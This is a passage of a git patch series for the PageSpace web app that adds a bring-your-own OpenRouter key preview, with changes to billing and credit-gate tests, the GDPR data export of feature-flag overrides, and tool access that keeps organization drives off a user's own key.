+++ b/packages/lib/src/billing/__tests__/credits-flow.integration.test.ts @@ -68,7 +68,7 @@ const H = vi.hoisted(() => { const subscriptions = cols('subscriptions', ['id', 'userId', 'status', 'gifted', 'stripePriceId']); const aiUsageLogs = cols('aiUsageLogs', [ 'id', 'userId', 'cost', 'timestamp', 'success', 'provider', 'source', 'walletId', 'automationRef', - 'metadata', 'reconcileStatus', 'reconcileAttempts', 'reconciledAt', 'unattributedAt', + 'metadata', 'reconcileStatus', 'reconcileAttempts', 'reconciledAt', 'unattributedAt', 'keySource', ]); // ── operators ─────────────────────────────────────────────────────────────── @@ -1205,10 +1205,13 @@ describe('credits flow — crash recovery (backfill reconcile)', () => { }); // (b) orphan usage row: consume never ran at all (no ledger entry). - store.aiUsageLogs.push({ id: 'log_orphan', userId: 'u1', walletId: rootWalletId('u1'), cost: 1, timestamp: PAST(), success: true }); // 150¢ + store.aiUsageLogs.push({ keySource: 'managed', id: 'log_orphan', userId: 'u1', walletId: rootWalletId('u1'), cost: 1, timestamp: PAST(), success: true }); // 150¢ // (c) errored-but-billable row: success:false but tokens were spent (cost > 0). - store.aiUsageLogs.push({ id: 'log_failed', userId: 'u1', walletId: rootWalletId('u1'), cost: 0.5, timestamp: PAST(), success: false }); // 75¢ + store.aiUsageLogs.push({ keySource: 'managed', id: 'log_failed', userId: 'u1', walletId: rootWalletId('u1'), cost: 0.5, timestamp: PAST(), success: false }); // 75¢ + + // (d) BYOK (ADR 0009): a call on the person's own OpenRouter key was never owed: never swept. + store.aiUsageLogs.push({ keySource: 'user_key', id: 'log_own_key', userId: 'u1', walletId: rootWalletId('u1'), cost: 2, timestamp: PAST(), success: true }); const result = await backfillCredits(); @@ -1241,7 +1244,7 @@ describe('credits flow — crash recovery (backfill reconcile)', () => { // 205 orphans > BATCH(200): the cron must loop a second pass to clear the tail. const N = 205; for (let i = 0; i < N; i++) { - store.aiUsageLogs.push({ id: `orphan_${i}`, userId: 'u1', walletId: rootWalletId('u1'), cost: 0.01, timestamp: PAST(), success: true }); + store.aiUsageLogs.push({ keySource: 'managed', id: `orphan_${i}`, userId: 'u1', walletId: rootWalletId('u1'), cost: 0.01, timestamp: PAST(), success: true }); } const result = await backfillCredits(); @@ -1265,7 +1268,7 @@ describe('credits flow — crash recovery (backfill reconcile)', () => { monthlyPeriodStart: new Date(PERIOD_START * 1000), monthlyPeriodEnd: new Date(PERIOD_END * 1000), updatedAt: new Date(), }); - store.aiUsageLogs.push({ + store.aiUsageLogs.push({ keySource: 'managed', id: 'log_terminal_orphan', userId: 'u1', walletId: rootWalletId('u1'), cost: 1, timestamp: PAST(), success: true, source: 'terminal', }); @@ -1543,7 +1546,7 @@ describe('credits flow — async cost reconcile (/generation drift correction)', } function seedPendingUsage(id: string, userId: string, costDollars: number, generationIds: string[] | null, attempts = 0) { - store.aiUsageLogs.push({ + store.aiUsageLogs.push({ keySource: 'managed', id, userId, cost: costDollars, diff --git a/packages/lib/src/compliance/export/__tests__/agent-identity-export.integration.test.ts b/packages/lib/src/compliance/export/__tests__/agent-identity-export.integration.test.ts index 6752aa1d8b..0b8453900e 100644 --- a/packages/lib/src/compliance/export/__tests__/agent-identity-export.integration.test.ts +++ b/packages/lib/src/compliance/export/__tests__/agent-identity-export.integration.test.ts @@ -83,7 +83,7 @@ describe('collectUserAgentIdentity (real Postgres)', () => { profile, drives: [], pages: [], sheets: [], messages: [], files: [], activity: [], systemLogs: [], apiMetrics: [], errorLogs: [], aiUsage: [], tasks: [], sessions: [], notifications: [], displayPreferences: [], - settings: { hotkeys: [], automation: null, toastNotifications: null, emailNotifications: [], imagoDriveAccess: [] }, + settings: { hotkeys: [], automation: null, toastNotifications: null, emailNotifications: [], imagoDriveAccess: [], featureFlags: [] }, personalization: null, personalizationCandidates: [], pulseSummaries: [], withheld: [], agentWorkspaces: [], agentAccounts: { accounts: [], approvalsGiven: [], bindingsMade: [], delegationsGiven: [] }, streamState: [], contentTags: [], localEnvironments: [], localEnvironmentActivity: [], localEnvironmentApprovals: [], agentIdentity, organizations: [], diff --git a/packages/lib/src/compliance/export/export-format.test.ts b/packages/lib/src/compliance/export/export-format.test.ts index a49d82ac26..337e7a404a 100644 --- a/packages/lib/src/compliance/export/export-format.test.ts +++ b/packages/lib/src/compliance/export/export-format.test.ts @@ -60,7 +60,7 @@ function makeData(overrides: Partial = {}): AllUserData { sessions: [], notifications: [], displayPreferences: [], - settings: { hotkeys: [], automation: null, toastNotifications: null, emailNotifications: [], imagoDriveAccess: [] }, + settings: { hotkeys: [], automation: null, toastNotifications: null, emailNotifications: [], imagoDriveAccess: [], featureFlags: [] }, personalization: null, personalizationCandidates: [], pulseSummaries: [], diff --git a/packages/lib/src/compliance/export/gdpr-export-coverage.test.ts b/packages/lib/src/compliance/export/gdpr-export-coverage.test.ts index da880d1363..a8024493a0 100644 --- a/packages/lib/src/compliance/export/gdpr-export-coverage.test.ts +++ b/packages/lib/src/compliance/export/gdpr-export-coverage.test.ts @@ -83,7 +83,7 @@ const EMPTY: AllUserData = { sessions: [], notifications: [], displayPreferences: [], - settings: { hotkeys: [], automation: null, toastNotifications: null, emailNotifications: [], imagoDriveAccess: [] }, + settings: { hotkeys: [], automation: null, toastNotifications: null, emailNotifications: [], imagoDriveAccess: [], featureFlags: [] }, personalization: null, personalizationCandidates: [], pulseSummaries: [], diff --git a/packages/lib/src/compliance/export/gdpr-export-coverage.ts b/packages/lib/src/compliance/export/gdpr-export-coverage.ts index d663b80329..5f22508dcc 100644 --- a/packages/lib/src/compliance/export/gdpr-export-coverage.ts +++ b/packages/lib/src/compliance/export/gdpr-export-coverage.ts @@ -99,6 +99,8 @@ export const EXPORTED_TABLES: Readonly> = { email_notification_preferences: 'settings', // The subject's own per-drive Imago access choices (IMG-4.6a). imago_drive_access: 'settings', + // A preview feature an admin turned on or off for the subject in particular (ADR 0009's byok_model_key). + feature_flag_user_overrides: 'settings', // Added with this guard — the omission that motivated it. agent_workspaces: 'agentWorkspaces', // L2·G2 agent accounts: the subject's own accounts (metadata only) and the decisions they gave. @@ -354,6 +356,8 @@ export const EXCLUDED_TABLES: Readonly> = { ...withReason( ORGANISATION_OWNED, + // A feature flag's default for everyone: the platform's rollout switch, about no one in particular. + 'feature_flags', 'drive_agent_members', 'drive_backup_files', 'drive_backup_members', diff --git a/packages/lib/src/compliance/export/gdpr-export.ts b/packages/lib/src/compliance/export/gdpr-export.ts index d919a67ac0..34f7624e3c 100644 --- a/packages/lib/src/compliance/export/gdpr-export.ts +++ b/packages/lib/src/compliance/export/gdpr-export.ts @@ -22,6 +22,7 @@ import { taskLists, taskItems } from '@pagespace/db/schema/tasks'; import { sessions } from '@pagespace/db/schema/sessions'; import { notifications } from '@pagespace/db/schema/notifications'; import { displayPreferences } from '@pagespace/db/schema/display-preferences'; +import { featureFlagUserOverrides } from '@pagespace/db/schema/feature-flags'; import { userPersonalization, personalizationCandidates } from '@pagespace/db/schema/personalization'; import { pulseSummaries } from '@pagespace/db/schema/dashboard'; import { userHotkeyPreferences } from '@pagespace/db/schema/hotkeys'; @@ -296,6 +297,8 @@ export interface UserSettingsExport { emailNotifications: { notificationType: string; emailEnabled: boolean; updatedAt: Date }[]; /** The subject's per-drive Imago access choices (the toggle), one row per drive they set it for. */ imagoDriveAccess: { driveId: string; enabled: boolean; updatedAt: Date }[]; + /** Preview features an admin turned on or off for the subject in particular (feature_flag_user_overrides). */ + featureFlags: { flagKey: string; enabled: boolean; updatedAt: Date }[]; } export interface UserPersonalizationExport { @@ -1347,7 +1350,7 @@ export async function collectUserDisplayPreferences(database: DB, userId: string /** Every settings row the subject owns, in one Art 15 category. */ export async function collectUserSettings(database: DB, userId: string): Promise { - const [hotkeys, automation, toast, email, imagoAccess] = await Promise.all([ + const [hotkeys, automation, toast, email, imagoAccess, flags] = await Promise.all([ database .select({ hotkeyId: userHotkeyPreferences.hotkeyId, binding: userHotkeyPreferences.binding, updatedAt: userHotkeyPreferences.updatedAt }) .from(userHotkeyPreferences) @@ -1368,6 +1371,11 @@ export async function collectUserSettings(database: DB, userId: string): Promise .select({ driveId: imagoDriveAccess.driveId, enabled: imagoDriveAccess.enabled, updatedAt: imagoDriveAccess.updatedAt }) .from(imagoDriveAccess) .where(eq(imagoDriveAccess.userId, userId)), + // Who set it is an admin's id, another person's data: only what is on for the subject, and when. + database + .select({ flagKey: featureFlagUserOverrides.flagKey, enabled: featureFlagUserOverrides.enabled, updatedAt: featureFlagUserOverrides.updatedAt }) + .from(featureFlagUserOverrides) + .where(eq(featureFlagUserOverrides.userId, userId)), ]); return { hotkeys, @@ -1377,6 +1385,7 @@ export async function collectUserSettings(database: DB, userId: string): Promise toastNotifications: toast[0] ?? null, emailNotifications: email, imagoDriveAccess: imagoAccess, + featureFlags: flags, }; } From 7979acd5b73d5a3b2283ce3fa43d2b260abb4778 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Sun, 29 Nov 2026 22:20:30 -0600 Subject: [PATCH 12/35] fix(byok): keep org content and other people's money off a person's own key Review fixes for the BYOK key decision (ADR 0009), on every model surface. - The tool boundary (POL-8's chokepoint in actor-permissions) refuses every org drive on a run on the person's own key: page reads, listings, searches and injected command pages. The key source rides on toolModelContext. - The key decision counts the funder: a call in someone else's drive stays on PageSpace's key (I9). Images in a manual Run pressed by someone else, too. - A conversation that ever ran on PageSpace's key stays there (I10): its history may hold org content read by a managed turn. Signal: a managed ai_usage_logs row for the conversation. Wired into global/page chat, btw, consult, ask_agent, mentions, images and compaction. - Context drives (page chat, ask_agent), the assistant's drive summary, agent list and drive in view, org-derived memory, and the memory passes all count or drop org content on the person's key. - The pro-tier gate lifts on the person's key in ask_agent and workflows. - Pulse decides whose key runs before it gates, and takes no hold on it. - outcome_unknown answers 424 so the AI SDK never re-sends a call that may have been billed. A failed flag read with a known key refuses instead of billing credits. A gate-decided own-key call that resolves off OpenRouter is refused. The global turn pins the pair its gate judged. /help skips the decision. - Settings shows a leftover key for removal after the flag is switched off; the admin flag page survives a rejected request. - ADR 0009 and the changelog updated. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- CHANGELOG.md | 4 +- .../src/app/(admin)/feature-flags/page.tsx | 3 +- apps/web/src/app/api/ai/btw/route.ts | 8 +- .../messages/__tests__/credit-gate.test.ts | 2 +- .../app/api/ai/page-agents/consult/route.ts | 5 +- .../generate/__tests__/agent-marker.test.ts | 3 + .../generate/__tests__/credit-gate.test.ts | 14 ++ .../__tests__/task-trash-filter.test.ts | 3 + apps/web/src/app/api/pulse/generate/route.ts | 52 +++++--- .../user/model-key/__tests__/route.test.ts | 39 +++++- apps/web/src/app/api/user/model-key/route.ts | 20 ++- apps/web/src/app/settings/ai/ModelKeyCard.tsx | 25 ++-- .../lib/ai/chat-pipeline/assistant-surface.ts | 20 ++- .../lib/ai/chat-pipeline/global-chat-turn.ts | 22 +++- .../lib/ai/chat-pipeline/page-chat-turn.ts | 17 ++- .../core/__tests__/model-key-source.test.ts | 123 +++++++++++++++++- .../__tests__/plane-inference-fetch.test.ts | 7 + .../core/__tests__/provider-factory.test.ts | 30 +++++ apps/web/src/lib/ai/core/agent-awareness.ts | 8 +- .../ai/core/compaction/compaction-service.ts | 7 + apps/web/src/lib/ai/core/location-prompt.ts | 8 +- apps/web/src/lib/ai/core/model-entitlement.ts | 3 + apps/web/src/lib/ai/core/model-key-source.ts | 102 ++++++++++++--- apps/web/src/lib/ai/core/page-tree-context.ts | 8 +- .../src/lib/ai/core/personalization-utils.ts | 11 +- .../src/lib/ai/core/plane-inference-fetch.ts | 4 +- apps/web/src/lib/ai/core/provider-factory.ts | 33 ++++- .../web/src/lib/ai/core/tool-model-context.ts | 10 +- apps/web/src/lib/ai/core/types.ts | 3 + .../__tests__/actor-permissions-byok.test.ts | 48 +++++++ .../agent-communication-tools.test.ts | 8 +- .../web/src/lib/ai/tools/actor-permissions.ts | 14 +- .../lib/ai/tools/agent-communication-tools.ts | 24 +++- .../lib/ai/tools/image-generation-tools.ts | 6 +- .../__tests__/agent-mention-responder.test.ts | 2 +- .../lib/channels/agent-mention-responder.ts | 19 +-- .../src/lib/channels/mention-credit-gate.ts | 11 +- .../__tests__/compaction-service.test.ts | 2 + .../__tests__/integration-service.test.ts | 2 + apps/web/src/lib/memory/candidate-service.ts | 10 ++ apps/web/src/lib/memory/compaction-service.ts | 4 +- apps/web/src/lib/memory/discovery-service.ts | 28 +++- .../web/src/lib/memory/integration-service.ts | 5 +- .../calendar-trigger-executor.test.ts | 2 + .../__tests__/workflow-executor.test.ts | 2 +- .../src/lib/workflows/workflow-executor.ts | 1 + ...model-keys-through-the-credential-plane.md | 33 +++-- 47 files changed, 673 insertions(+), 142 deletions(-) create mode 100644 apps/web/src/lib/ai/tools/__tests__/actor-permissions-byok.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 02b859aae9..4b685800b8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,7 +8,9 @@ All notable user-facing changes to PageSpace are documented here. Format follows - **Preview: bring your own OpenRouter key.** An admin can now turn this on for specific people in Admin → Feature Flags. Those people get a "Use your own OpenRouter key" card in Settings → AI. - **Your own model calls run on your key and cost no PageSpace credits.** That covers chat, the global assistant, side questions, agent-to-agent calls, images and your automations. Pro-tier models are available on your key whatever your plan. - **PageSpace never stores your key.** It goes once to an isolated credential service, is added to each request there, and is removed from anything that comes back. It can never be read back by PageSpace or by an agent, and agents cannot use it as a tool. - - **Calls in an organization's drives always use PageSpace's key**, so an org's content is never sent through a personal OpenRouter account. + - **Calls in an organization's drives always use PageSpace's key**, so an org's content is never sent through a personal OpenRouter account. On your key, the assistant cannot read organization drives, and memory learned from them is left out. + - **Your key only pays for calls you fund yourself.** Calls in a drive someone else owns, and conversations that have already used PageSpace's key, stay on PageSpace's key. + - If an admin switches the preview off for you, PageSpace stops using your key and Settings still lets you remove it. - **If your key can't be used, the call stops with a message.** It never quietly switches to PageSpace's key. Usage on your key is capped at 1,200 calls an hour. For safety, create a separate OpenRouter key with a credit limit. - Removing the key in Settings takes it out of PageSpace. It keeps working at OpenRouter until you revoke it there. - **Agent Accounts screens now say what they hold.** The Accounts section of an agent's settings, and Settings → Agent Accounts, described themselves as being for API keys only. They also hold Google accounts and SSH keys, and now say so. diff --git a/apps/admin/src/app/(admin)/feature-flags/page.tsx b/apps/admin/src/app/(admin)/feature-flags/page.tsx index 11339a28c9..6339992b5e 100644 --- a/apps/admin/src/app/(admin)/feature-flags/page.tsx +++ b/apps/admin/src/app/(admin)/feature-flags/page.tsx @@ -67,7 +67,8 @@ function FlagPeople({ flag, onChanged }: { flag: FlagState; onChanged: () => voi async function act(run: () => Promise) { setBusy(true); setError(null); - const failed = await run(); + // A request that rejects (network loss) is a failure to show, not an exception that leaves the buttons disabled. + const failed = await run().catch((err: unknown) => (err instanceof Error ? err.message : "Request failed")); setBusy(false); if (failed) return setError(failed); people.refetch(); diff --git a/apps/web/src/app/api/ai/btw/route.ts b/apps/web/src/app/api/ai/btw/route.ts index 2249e50ba5..ed0104c6e5 100644 --- a/apps/web/src/app/api/ai/btw/route.ts +++ b/apps/web/src/app/api/ai/btw/route.ts @@ -82,9 +82,11 @@ export async function POST(request: Request) { // Prepaid credit gate BEFORE the provider is built: out_of_credits -> 402, the // in-flight cap -> 429. Metering-exempt providers bill on a flat external plan, // so they skip the gate (no hold) exactly as the chat pipeline does. - // BYOK (ADR 0009): whose key the call runs on, decided ONCE for the gate, the provider and billing. - // On the person's own OpenRouter key there is no hold and no charge. - const keyDecision = await resolveModelKeySource({ userId, provider: effectiveProvider, driveId: sessionDriveId }); + // BYOK (ADR 0009): whose key the call runs on, decided ONCE for the gate, the provider and billing — and on + // the conversation whose snapshot the side question carries: one that ever ran on PageSpace's key may hold an + // org's content in its tool results, so it stays there (I10). On the person's own OpenRouter key there is no hold + // and no charge. + const keyDecision = await resolveModelKeySource({ userId, provider: effectiveProvider, driveId: sessionDriveId, conversationId }); if (keyDecision.source === 'refused') return createByokUnavailableResponse(); const ownKey = keyDecision.source === 'user_key'; let entitlementTier: SubscriptionTier | undefined; diff --git a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts index 9e4735cdb6..955c193024 100644 --- a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts +++ b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts @@ -704,7 +704,7 @@ describe('POST /api/ai/global/[id]/messages — usage logging durability (R4)', expect(response.status).toBe(200); expect(canConsumeAI).not.toHaveBeenCalled(); - expect(vi.mocked(resolveModelKeySource).mock.calls[0]?.[0]).toEqual({ userId: 'user-1', provider: 'openai', driveId: null }); + expect(vi.mocked(resolveModelKeySource).mock.calls[0]?.[0]).toEqual({ userId: 'user-1', provider: 'openai', driveId: null, conversationId: 'conv-1' }); expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]?.keySource).toBe(ownKey); expect(AIMonitoring.trackUsage).toHaveBeenCalledTimes(1); const call = vi.mocked(AIMonitoring.trackUsage).mock.calls[0][0]; diff --git a/apps/web/src/app/api/ai/page-agents/consult/route.ts b/apps/web/src/app/api/ai/page-agents/consult/route.ts index 2e9237dd45..2ee7129497 100644 --- a/apps/web/src/app/api/ai/page-agents/consult/route.ts +++ b/apps/web/src/app/api/ai/page-agents/consult/route.ts @@ -362,7 +362,7 @@ export async function POST(request: Request) { // BYOK (ADR 0009): whose key this consultation runs on, decided ONCE (same provider and drives the // gate and the factory use) for the gate, the provider and billing. On the person's own OpenRouter // key there is no hold and no charge. - const keyDecision = await resolveModelKeySource({ userId, provider: effectiveProvider, driveId: sessionDrive, contentDriveIds: [agent.driveId] }); + const keyDecision = await resolveModelKeySource({ userId, provider: effectiveProvider, driveId: sessionDrive, contentDriveIds: [agent.driveId], conversationId: activeConversationId }); if (keyDecision.source === 'refused') return createByokUnavailableResponse(); const ownKey = keyDecision.source === 'user_key'; @@ -624,7 +624,8 @@ export async function POST(request: Request) { accessActor: actorFromAuth(auth), timezone: userTimezone, // POL-8: the tools are judged by the model this run resolved (an agent with no model runs the default). - ...toolModelContext({ provider: resolvedProvider, modelName: resolvedModelName }), + // BYOK: and whose key it runs on, so a run on the person's own key reads no org drive (ADR 0009 I6). + ...toolModelContext({ provider: resolvedProvider, modelName: resolvedModelName, keySource: ownKey ? 'user_key' : 'managed' }), conversationId: `agent-consult-${agentId}-${Date.now()}`, creditSpend: { spend, walletId }, locationContext: { diff --git a/apps/web/src/app/api/pulse/generate/__tests__/agent-marker.test.ts b/apps/web/src/app/api/pulse/generate/__tests__/agent-marker.test.ts index 9af08ecd99..19a2386900 100644 --- a/apps/web/src/app/api/pulse/generate/__tests__/agent-marker.test.ts +++ b/apps/web/src/app/api/pulse/generate/__tests__/agent-marker.test.ts @@ -40,7 +40,10 @@ vi.mock('@/lib/ai/core/timestamp-utils', () => ({ vi.mock('@/lib/ai/core/ai-providers-config', () => ({ BACKGROUND_LIGHT_PROVIDER: 'anthropic', BACKGROUND_LIGHT_MODEL: 'anthropic/claude-test', + resolveProviderModel: (provider: string, model: string) => ({ provider, model }), })); +// BYOK (ADR 0009): PageSpace's key; the gate's timing is pinned in credit-gate.test.ts. +vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn(async () => ({ source: 'managed' })) })); vi.mock('@/lib/ai/core/provider-factory', () => ({ createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'anthropic', modelName: 'anthropic/claude-test' }), diff --git a/apps/web/src/app/api/pulse/generate/__tests__/credit-gate.test.ts b/apps/web/src/app/api/pulse/generate/__tests__/credit-gate.test.ts index d6883c97d4..3fd4368a4a 100644 --- a/apps/web/src/app/api/pulse/generate/__tests__/credit-gate.test.ts +++ b/apps/web/src/app/api/pulse/generate/__tests__/credit-gate.test.ts @@ -62,7 +62,10 @@ vi.mock('@/lib/ai/core/provider-factory', () => ({ vi.mock('@/lib/ai/core/ai-providers-config', () => ({ BACKGROUND_LIGHT_PROVIDER: 'openai', BACKGROUND_LIGHT_MODEL: 'openai/gpt-5.4-mini', + resolveProviderModel: (provider: string, model: string) => ({ provider, model }), })); +// BYOK (ADR 0009): PageSpace's key unless a test says the person may run on their own. +vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }) })); vi.mock('@/lib/ai/core/timestamp-utils', () => ({ buildTimestampSystemPrompt: vi.fn().mockReturnValue(''), getUserTimeOfDay: vi.fn().mockReturnValue('morning'), @@ -82,6 +85,7 @@ import { canConsumeAI } from '@pagespace/lib/billing/credit-gate'; import { MAX_CHAT_INFLIGHT } from '@pagespace/lib/billing/credit-pricing'; import { createAIProvider } from '@/lib/ai/core/provider-factory'; import { generateText } from 'ai'; +import { resolveModelKeySource } from '@/lib/ai/core/model-key-source'; const mockAuth = () => ({ userId: 'user-1', @@ -144,4 +148,14 @@ describe('POST /api/pulse/generate — prepaid credit gate', () => { // overdraw. expect(canConsumeAI).toHaveBeenCalledWith('user-1', 'pro', { spend: { kind: 'personal' }, maxInFlight: MAX_CHAT_INFLIGHT }); }); + + it('BYOK (ADR 0009) given someone who may run on their own key, should not gate before the pulse knows whose content it reads (the factory decides the key; only PageSpace\'s key is gated)', async () => { + vi.mocked(resolveModelKeySource).mockResolvedValueOnce({ source: 'user_key' }); + vi.mocked(canConsumeAI).mockResolvedValue({ allowed: false, reason: 'out_of_credits' }); + + const response = await POST(makeRequest()); + + // Not refused out_of_credits up front: an empty PageSpace balance does not stop a pulse on the person's own key. + expect([response.status === 402, vi.mocked(canConsumeAI).mock.calls.length]).toEqual([false, 0]); + }); }); diff --git a/apps/web/src/app/api/pulse/generate/__tests__/task-trash-filter.test.ts b/apps/web/src/app/api/pulse/generate/__tests__/task-trash-filter.test.ts index 1cddfd3abf..1767fc7230 100644 --- a/apps/web/src/app/api/pulse/generate/__tests__/task-trash-filter.test.ts +++ b/apps/web/src/app/api/pulse/generate/__tests__/task-trash-filter.test.ts @@ -51,7 +51,10 @@ vi.mock('@/lib/ai/core/timestamp-utils', () => ({ vi.mock('@/lib/ai/core/ai-providers-config', () => ({ BACKGROUND_LIGHT_PROVIDER: 'anthropic', BACKGROUND_LIGHT_MODEL: 'anthropic/claude-test', + resolveProviderModel: (provider: string, model: string) => ({ provider, model }), })); +// BYOK (ADR 0009): PageSpace's key; the gate's timing is pinned in credit-gate.test.ts. +vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn(async () => ({ source: 'managed' })) })); vi.mock('@/lib/ai/core/provider-factory', () => ({ createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'anthropic', modelName: 'anthropic/claude-test' }), diff --git a/apps/web/src/app/api/pulse/generate/route.ts b/apps/web/src/app/api/pulse/generate/route.ts index 4045f55228..32331a79c5 100644 --- a/apps/web/src/app/api/pulse/generate/route.ts +++ b/apps/web/src/app/api/pulse/generate/route.ts @@ -3,7 +3,8 @@ import { generateText } from 'ai'; import { authenticateRequestWithOptions, isAuthError } from '@/lib/auth'; import { createAIProvider, isProviderError } from '@/lib/ai/core/provider-factory'; import { buildTimestampSystemPrompt, getUserTimeOfDay, getStartOfTodayInTimezone, isValidTimezone, normalizeTimezone, formatDateInTimezone } from '@/lib/ai/core/timestamp-utils'; -import { BACKGROUND_LIGHT_PROVIDER, BACKGROUND_LIGHT_MODEL } from '@/lib/ai/core/ai-providers-config'; +import { BACKGROUND_LIGHT_PROVIDER, BACKGROUND_LIGHT_MODEL, resolveProviderModel } from '@/lib/ai/core/ai-providers-config'; +import { resolveModelKeySource } from '@/lib/ai/core/model-key-source'; import { db } from '@pagespace/db/db' import { eq, and, or, lt, gte, ne, desc, inArray, isNotNull, isNull, sql } from '@pagespace/db/operators' import { users } from '@pagespace/db/schema/auth' @@ -96,25 +97,35 @@ export async function POST(req: Request) { return NextResponse.json({ skipped: true, reason: 'pulse_disabled' }); } - // Prepaid credit gate: block out-of-credits users before any model invocation. + // Prepaid credit gate: block out-of-credits users before any context gathering or model invocation. // Safe in billing-disabled deployments (returns unlimited) and lazy-inits balances. // This is the on-demand (user-triggered) Pulse path; the cron path is intentionally // NOT gated so a failed bill can't 500 the batch. - // Model isn't resolved until the generation step below, so we let the hold use the - // default flat estimate (estCostCents omitted) and just apply the chat concurrency cap. - const creditGate = await canConsumeAI(userId, toPersonalSubscriptionTier(user.subscriptionTier), { - // Pulse summarizes the person's own workspace and is not a drive session, so it - // spends their personal credits (SPEND-8). - spend: PERSONAL_SPEND, - maxInFlight: MAX_CHAT_INFLIGHT, - }); - if (!creditGate.allowed) { - loggers.api.warn('Pulse generate: AI credit gate denied', { userId, reason: creditGate.reason }); - return creditGateErrorResponse(creditGate.reason, creditGate.refusal); + // The model isn't resolved yet, so the hold uses the default flat estimate and the chat concurrency cap. + const gatePulse = async (): Promise => { + const creditGate = await canConsumeAI(userId, toPersonalSubscriptionTier(user.subscriptionTier), { + // Pulse summarizes the person's own workspace and is not a drive session, so it + // spends their personal credits (SPEND-8). + spend: PERSONAL_SPEND, + maxInFlight: MAX_CHAT_INFLIGHT, + }); + if (!creditGate.allowed) { + loggers.api.warn('Pulse generate: AI credit gate denied', { userId, reason: creditGate.reason }); + return creditGateErrorResponse(creditGate.reason, creditGate.refusal); + } + // The gate's reservation for this call, released when usage is billed below. + holdId = creditGate.holdId; + walletId = creditGate.walletId; + return null; + }; + // BYOK (ADR 0009): whose key runs is only known once the drives and orgs the pulse reads are (the factory decides + // it below), and on the person's own key a pulse needs no PageSpace credits. So someone who may run on their own + // key is gated after that decision, and only if it is PageSpace's key; everyone else is gated here, as before. + const mayRunOnOwnKey = (await resolveModelKeySource({ userId, provider: resolveProviderModel(BACKGROUND_LIGHT_PROVIDER, BACKGROUND_LIGHT_MODEL).provider, driveId: null })).source !== 'managed'; + if (!mayRunOnOwnKey) { + const refused = await gatePulse(); + if (refused) return refused; } - // The gate's reservation for this call, released when usage is billed below. - holdId = creditGate.holdId; - walletId = creditGate.walletId; // Determine timezone: use client-provided, then stored preference, then UTC const userTimezone = clientTimezone || normalizeTimezone(user?.timezone); @@ -753,6 +764,12 @@ What would be genuinely useful or interesting to say right now? Maybe it's an ob return NextResponse.json({ error: providerResult.error }, { status: providerResult.status }); } + // BYOK: the deferred gate, for someone who may have run on their own key but whose pulse runs on PageSpace's. + if (mayRunOnOwnKey && providerResult.keySource !== 'user_key') { + const refused = await gatePulse(); + if (refused) return refused; + } + // Generate summary const result = await generateText({ model: providerResult.model, @@ -768,8 +785,7 @@ What would be genuinely useful or interesting to say right now? Maybe it's an ob const usage = result.usage; discardUsageOutcome(AIMonitoring.trackUsage({ // BYOK (ADR 0009): the factory decided whose key ran, judged on every drive and org whose content this - // pulse carries (not known yet at the gate). On the person's own key the row is recorded, never charged, - // and the gate's hold is released. + // pulse carries. On the person's own key the row is recorded and never charged (no hold was taken). keySource: providerResult.keySource, userId, provider: providerResult.provider, diff --git a/apps/web/src/app/api/user/model-key/__tests__/route.test.ts b/apps/web/src/app/api/user/model-key/__tests__/route.test.ts index 361bc01d00..852f61100e 100644 --- a/apps/web/src/app/api/user/model-key/__tests__/route.test.ts +++ b/apps/web/src/app/api/user/model-key/__tests__/route.test.ts @@ -82,6 +82,20 @@ describe('PUT /api/user/model-key', () => { }); }); +describe('PUT /api/user/model-key, a save that partly completed or raced', () => { + it('given a new key stored while an older one could not be revoked yet, should answer 201 with the new key and say so', async () => { + mockAuthority.setModelKey.mockResolvedValue({ ok: false, reason: 'previous_key_active', account, verified: true }); + const response = await PUT(req('PUT', { apiKey: CANARY })); + expect([response.status, await response.json()]).toEqual([201, { key: { id: 'acct_mk', createdAt: 1, lastUsedAt: null, status: 'active' }, verified: true, previousKeyActive: true }]); + }); + + it('given another change of the person\'s key still running, should answer 409 so they retry', async () => { + mockAuthority.setModelKey.mockResolvedValue({ ok: false, reason: 'conflict' }); + mockAuthority.removeModelKey.mockResolvedValue({ ok: false, reason: 'conflict' }); + expect([(await PUT(req('PUT', { apiKey: CANARY }))).status, (await DELETE(req('DELETE'))).status]).toEqual([409, 409]); + }); +}); + describe('GET /api/user/model-key', () => { it('given an enabled person with a key, should show its metadata only', async () => { mockAuthority.getModelKey.mockResolvedValue(account); @@ -89,10 +103,31 @@ describe('GET /api/user/model-key', () => { expect(body).toEqual({ enabled: true, available: true, key: { id: 'acct_mk', createdAt: 1, lastUsedAt: null, status: 'active' } }); }); - it('given a person the admin has not enabled, should say so and read nothing', async () => { + it('given a person the admin has not enabled and no key, should say so and show no key', async () => { + mockFlag.mockResolvedValue(false); + mockAuthority.getModelKey.mockResolvedValue(null); + const body = await (await GET(req('GET'))).json(); + expect(body).toEqual({ enabled: false, available: true, key: null }); + }); + + it('given the flag switched off after the person added a key, should still show the key so they can remove it', async () => { mockFlag.mockResolvedValue(false); + mockAuthority.getModelKey.mockResolvedValue(account); + const body = await (await GET(req('GET'))).json(); + expect(body).toEqual({ enabled: false, available: true, key: { id: 'acct_mk', createdAt: 1, lastUsedAt: null, status: 'active' } }); + }); + + it('given a person not enabled whose key cannot be read, should answer normally with no key', async () => { + mockFlag.mockResolvedValue(false); + mockAuthority.getModelKey.mockRejectedValue(new Error('plane down')); + const response = await GET(req('GET')); + expect([response.status, await response.json()]).toEqual([200, { enabled: false, available: true, key: null }]); + }); + + it('given on-prem, should read nothing', async () => { + mockOnPrem.mockReturnValue(true); const body = await (await GET(req('GET'))).json(); - expect([body, 